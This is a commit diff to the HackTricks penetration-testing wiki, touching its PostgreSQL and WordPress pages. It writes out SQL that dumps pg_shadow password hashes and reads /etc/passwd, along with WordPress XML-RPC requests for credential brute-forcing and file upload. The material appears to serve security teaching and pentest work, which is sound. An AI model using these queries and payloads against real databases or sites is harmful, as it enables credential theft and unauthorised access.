GitBook: [#3577] No subject
This commit is contained in:
CPol
gitbook-bot
parent
52b0419e2d
commit
4068767fba
|
|
@ -59,11 +59,7 @@ SELECT usename, passwd from pg_shadow;
|
|||
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'
|
||||
```
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today
|
||||
|
||||
For more information about how to abuse a PostgreSQL database check:
|
||||
For more information about **how to abuse a PostgreSQL database** check:
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
|
||||
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
|
||||
|
|
@ -78,13 +74,6 @@ msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
|
|||
|
||||
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#postgresql)
|
||||
|
||||
Client authentication is controlled by a config file frequently named _**pg\_hba.conf**_. This file has a set of records. A record may have one of the following seven formats:
|
||||
|
||||
|
||||
|
||||
**Each** record **specifies** a **connection type**, a **client IP address range** (if relevant for the connection type), a **database name**, a **user name**, and the **authentication method** to be used for connections matching these parameters. The **first record with a match**ing connection type, client address, requested database, and user name **is used** to perform authentication. There is no "fall-through" or "backup": **if one record is chosen and the authentication fails, subsequent records are not considered**. If no record matches, access is denied.\
|
||||
The **password-based** authentication methods are **md5**, **crypt**, and **password**. These methods operate similarly except for the way that the password is sent across the connection: respectively, MD5-hashed, crypt-encrypted, and clear-text. A limitation is that the crypt method does not work with passwords that have been encrypted in pg\_authid.
|
||||
|
||||
## Enumeration of Privileges
|
||||
|
||||
### Roles
|
||||
|
|
@ -171,14 +160,17 @@ SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.ro
|
|||
|
||||
#Check users privileges over a table (pg_shadow on this example)
|
||||
## If nothing, you don't have any permission
|
||||
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants; WHERE table_name='pg_shadow';
|
||||
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
|
||||
## You can also check that with
|
||||
\dp pg_shadow
|
||||
```
|
||||
|
||||
### Functions
|
||||
|
||||
```
|
||||
```sql
|
||||
\df *
|
||||
\df *pg_ls*
|
||||
\df+ pg_read_binary_file #Check who has access
|
||||
```
|
||||
|
||||
## **Postgres Privesc**
|
||||
|
|
@ -270,7 +262,12 @@ string pgadmin4.db
|
|||
|
||||
### pg\_hba
|
||||
|
||||
The file **`pg_hba.conf`** contains who can access to the Postgres database:
|
||||
Client authentication is controlled by a config file frequently named _**pg\_hba.conf**_. This file has a set of records. A record may have one of the following seven formats:
|
||||
|
||||
|
||||
|
||||
**Each** record **specifies** a **connection type**, a **client IP address range** (if relevant for the connection type), a **database name**, a **user name**, and the **authentication method** to be used for connections matching these parameters. The **first record with a match**ing connection type, client address, requested database, and user name **is used** to perform authentication. There is no "fall-through" or "backup": **if one record is chosen and the authentication fails, subsequent records are not considered**. If no record matches, access is denied.\
|
||||
The **password-based** authentication methods are **md5**, **crypt**, and **password**. These methods operate similarly except for the way that the password is sent across the connection: respectively, MD5-hashed, crypt-encrypted, and clear-text. A limitation is that the crypt method does not work with passwords that have been encrypted in pg\_authid.
|
||||
|
||||
|
||||
|
||||
|
|
|
|||
|
|
@ -158,7 +158,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
|||
|
||||
**Credentials Bruteforce**
|
||||
|
||||
_**wp.getUserBlogs**_, \_**wp.getCategories** \_ or _**metaWeblog.getUsersBlogs**_ are some of the methods that can be used to brute-force credentials. If you can find any of them you can send something like:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** are some of the methods that can be used to brute-force credentials. If you can find any of them you can send something like:
|
||||
|
||||
```markup
|
||||
<methodCall>
|
||||
|
|
@ -170,7 +170,43 @@ _**wp.getUserBlogs**_, \_**wp.getCategories** \_ or _**metaWeblog.getUsersBlogs*
|
|||
</methodCall>
|
||||
```
|
||||
|
||||
The message _"Incorrect username or password"_ inside a 200 code response should appear if the credentials aren't valid.
|
||||
The message _"Incorrect username or password"_ inside a 200 code response should appear if the credentials aren't valid**.**
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Using the correct credentials you can upload a file. In the response the path will appears ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
|
||||
```markup
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
<methodName>wp.uploadFile</methodName>
|
||||
<params>
|
||||
<param><value><string>1</string></value></param>
|
||||
<param><value><string>username</string></value></param>
|
||||
<param><value><string>password</string></value></param>
|
||||
<param>
|
||||
<value>
|
||||
<struct>
|
||||
<member>
|
||||
<name>name</name>
|
||||
<value><string>filename.jpg</string></value>
|
||||
</member>
|
||||
<member>
|
||||
<name>type</name>
|
||||
<value><string>mime/type</string></value>
|
||||
</member>
|
||||
<member>
|
||||
<name>bits</name>
|
||||
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
|
||||
</member>
|
||||
</struct>
|
||||
</value>
|
||||
</param>
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
|
||||
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
|
||||
|
||||
|
|
@ -209,54 +245,6 @@ Also, by default, the `wp-cron.php` is called on every page load (anytime a clie
|
|||
|
||||
It is recommended to disable Wp-Cron and create a real cronjob inside the host that perform the needed actions in a regular interval (without causing issues).
|
||||
|
||||
**Bruteforce**
|
||||
|
||||
```markup
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
<params>
|
||||
<param><value>username</value></param>
|
||||
<param><value>password</value></param>
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Using the correct credentials you can upload a file. In the response the path will appears ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
|
||||
```markup
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
<methodName>wp.uploadFile</methodName>
|
||||
<params>
|
||||
<param><value><string>1</string></value></param>
|
||||
<param><value><string>username</string></value></param>
|
||||
<param><value><string>password</string></value></param>
|
||||
<param>
|
||||
<value>
|
||||
<struct>
|
||||
<member>
|
||||
<name>name</name>
|
||||
<value><string>filename.jpg</string></value>
|
||||
</member>
|
||||
<member>
|
||||
<name>type</name>
|
||||
<value><string>mime/type</string></value>
|
||||
</member>
|
||||
<member>
|
||||
<name>bits</name>
|
||||
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
|
||||
</member>
|
||||
</struct>
|
||||
</value>
|
||||
</param>
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
|
||||
**DDOS**
|
||||
|
||||
```markup
|
||||
|
|
|
|||
|
|
@ -64,6 +64,12 @@ There are **other postgres functions** that can be used to **read file or list a
|
|||
```sql
|
||||
select * from pg_ls_dir('/tmp');
|
||||
select * from pg_read_file('/etc/passwd', 0, 1000000);
|
||||
select * from pg_read_binary_file('/etc/passwd');
|
||||
|
||||
# Check who has permissions
|
||||
\df+ pg_ls_dir
|
||||
\df+ pg_read_file
|
||||
\df+ pg_read_binary_file
|
||||
```
|
||||
|
||||
You can find **more functions** in [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
|
||||
|
|
|
|||
Loading…
Reference in New Issue